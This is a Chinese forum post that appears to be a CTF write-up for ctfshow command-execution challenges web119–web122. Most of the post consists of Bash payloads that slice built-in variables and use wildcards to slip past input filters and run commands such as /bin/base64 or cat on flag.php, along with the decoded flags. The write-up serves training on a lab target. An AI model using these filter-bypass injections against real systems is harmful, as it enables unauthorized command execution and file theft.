用户名
Email
论坛
潜水/灌水快乐,沉淀知识,认识更多同行。
ToB圈子
加入IT圈,遇到更多同好之人。
朋友圈
看朋友圈动态,了解ToB世界。
ToB门户
了解全球最新的ToB事件
博客
Blog
排行榜
Ranklist
文库
业界最专业的IT文库,上传资料也可以赚钱
下载
分享
Share
导读
Guide
相册
Album
记录
Doing
帖子
本版
文章
帖子
ToB圈子
用户
免费入驻
产品入驻
解决方案入驻
公司入驻
案例入驻
登录
·
注册
只需一步,快速开始
账号登录
立即注册
找回密码
用户名
自动登录
找回密码
密码
登录
立即注册
首页
找靠谱产品
找解决方案
找靠谱公司
找案例
找对的人
专家智库
悬赏任务
圈子
SAAS
IT评测·应用市场-qidao123.com技术社区
»
论坛
›
安全
›
网络安全
›
ctfshow-web入门-下令实行(web119、web120、web121、we ...
ctfshow-web入门-下令实行(web119、web120、web121、web122)
十念
论坛元老
|
2024-9-24 00:18:33
|
显示全部楼层
|
阅读模式
楼主
主题
1614
|
帖子
1614
|
积分
4842
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要
登录
才可以下载或查看,没有账号?
立即注册
x
目录
1、web119
2、web120
3、web121
4、web122
1、web119
采用 118 的 payload,回显 evil input,说明新增了过滤
单独测试一下,是 PATH 、BASH 被过滤了
在上一题的底子上,我们再介绍一个内置变量:$RANDOM
它会天生一个随机数,长度一般是 4 位或者 5 位,也就是说我们可以得到 4 或者 5 。
那么我们就可以构造出 /bin/base64 去读取 flag.php,主要就是构造出 / 和 4,其他使用通配符。
构造 /bin/base64 flag.php,payload:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
复制代码
此中 ${PWD:
{#SHLVL}} 就等同于斜杠 /,${#RANDOM} 的值大概是 4 或者 5 ,所以大概需要多试几次。
得到:
PD9waHAKJGZsYWc9ImN0ZnNob3d7MTViYzM3NTItMjYxNC00YmY4LWI1ZDYtZjQ4YmYwZTA4NjNk fSI7Cj8+
fSI7Cj8+
复制代码
进行 base64 解码:
拿到 flag:ctfshow{15bc3752-2614-4bf8-b5d6-f48bf0e0863d}
其他尝试
固然我们还可以构造其他的,我们知道 cat 也是在 bin 目录下的,尝试构造 /bin/cat flag.php
这里当前登录的用户名应该是 www-data,我最开构造的是 a ,取变量的末了一个字母,也就是 /bin/?a?
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~Q}? ????.???
复制代码
下令实行乐成了,可惜实行的不是 cat 下令:
(也大概不是实行成了其他下令,也大概是读到了其他的文件,并未匹配到 flag.php)
我们可以来看一下 Linux 系统的 bin 目录下符合要求的下令:
可以看到还是许多的,因此并不肯定会实行到我们期望的那个下令
这里我们构造 t ,也就是 /bin/??t,题目提示内里说:
${HOME:${#HOSTNAME}:${#SHLVL}} ====> t
复制代码
构造 payload:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
复制代码
cat 下令实行乐成,拿到 flag
$HOME 应该是 /var/www/html,但是其实我也并不清楚 ${HOSTNAME} 是什么以及它的长度是多少;假设 ${HOSTNAME} 也是 www-data,那么它和 $USER 长度就是一样的,将 payload 中的 HOSTNAME 替换成 USER,但是发现打不通:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#USER}:${#SHLVL}} ????.???
复制代码
说明它两内容长度不一样,这里乐成取到 t ,说明 ${#HOSTNAME} 是 10。
此外,我们是否还可以继承构造 nl 下令呢?
我在我本身服务器上发现 $LANG 中存在 n
构造 n:
${LANG:${#SHLVL}:${#SHLVL}}
复制代码
构造 nl flag.php
${LANG:${#SHLVL}:${#SHLVL}}${PWD:~Q} ????.???
复制代码
可惜也没有买通,具体的题目情况和我本身服务器的不一样。
其实还有其他包含 n 的,这里的话我们就需要构造数字 3
但是 3 这个数字欠好构造,我们可以倒着来取,还记得上一题时我们说到的波浪号吗?
我们倒着取索引为 5 的便是 n,构造字符 n:
${SHELL:~${#RANDOM}:${#SHLVL}}
复制代码
我们说了这个随机数长度大概是 4 也大概是 5 ,因此也需要多试几次:
构造 nl flag.php,payload:
${SHELL:~${#RANDOM}:${#SHLVL}}${PWD:~Q} ????.???
复制代码
可惜还是不行,一般来说 shell 和 bash 都是 /bin/bash
于是我回到了上一题,没有过滤 BASH 的题去实行,发现无论是 BASH 还是 SHELL 都不行。
不知道题目出在那里还是说它确实没有这个或者内容不一样(有知道的师傅可以告知一下谢谢)
2、web120
直接给了源码,新增过滤 HOME
base64 的 payload 可以继承使用:(多试几次)
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
复制代码
得到:
PD9waHAKJGZsYWc9ImN0ZnNob3d7YjU0NTdhMjYtYzgwMy00NDVkLWFhYTEtM2M5MTZjYjZjNTE5 fSI7Cj8+
fSI7Cj8+
复制代码
base64 解码:
拿到 flag:ctfshow{b5457a26-c803-445d-aaa1-3c916cb6c519}
看了提示给的 payload:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
复制代码
好家伙,就是前面上一题我没有试乐成的,读出来也是乱码,我还以为是实行成了其他下令呢。
也大概不是实行成了其他下令,也大概是读到了其他的文件,并未匹配到 flag.php。
我也搜索过 flag ,但是没找到什么有用信息:
3、web121
也是给了源码,但是过滤东西更多了
SHLVL 被过滤掉,我们使用 ${##} 或者 ${#?} 取代:
还是采用 base64 的 payload,修改一下 payload:
code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???
复制代码
PD9waHAKJGZsYWc9ImN0ZnNob3d7MDBhNzA4YmYtMWMzZi00N2M3LTllYTUtNGM5ZGVkNWU3Mzk1 fSI7Cj8+
fSI7Cj8+
复制代码
解码:
拿到 flag:ctfshow{00a708bf-1c3f-47c7-9ea5-4c9ded5e7395}
此外还可以构造 rev 下令:
${#IFS} 是 3
payload:
code=${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
复制代码
因为 $PWD 是 /var/www/html,从索引为 3 的开始取 1 位就是 r,结果取倒序即可。
这里出现了 3,放到前面的题去试了下,BASH 和 SHELL 的依旧是不行,岂非都不是 /bin/bash吗,很奇怪。
4、web122
# 也被过滤了,很难去得到长度和数字
题目提示:
通过$?来实现的,$?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误
复制代码
但是我在本地测试它实行失败并不是返回 1,只是一个非 0 的数。
提示给的 payload:
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
复制代码
它这里用到的是 /bin/base64 去读取 flag 的,此中 $? 被表明成了 1,因此 ${HOME:
?} 对应的就是斜杠 /,后面使用随机数变量随机天生了一个 4 至 5 位数,然后取随机数的第一位,当随机数的第一位为 4 即可匹配到 base64,不外前面的 <A 是什么我并不理解,去掉是不行的,等待大佬表明下谢谢。
解码拿到 flag:ctfshow{3d1c6ce9-7bcf-4e96-a263-1172c8a79152}
关于使用 Linux 内置变量与 Bash 切片的下令实行至此结束。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复
举报
0 个回复
倒序浏览
返回列表
快速回复
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
or
立即注册
本版积分规则
发表回复
回帖并转播
回帖后跳转到最后一页
发新帖
回复
十念
论坛元老
这个人很懒什么都没写!
楼主热帖
Velero系列文章(四):使用Velero进行 ...
Kali Linux利用MSF入侵安卓手机(小白版 ...
C/C++函数的调用约定详解
SonarQube安全扫描
三天吃透Kafka面试八股文
Android Studio 实现登录注册-源代码 ...
微光互联 TX800-U 扫码器无法输出中文 ...
xmrig挖矿样本分析 miner
Python嘎嘎涨知识的7个小游戏,玩过的 ...
Java多线程(一篇从0讲透)
标签云
AI
运维
CIO
存储
服务器
浏览过的版块
linux
快速回复
返回顶部
返回列表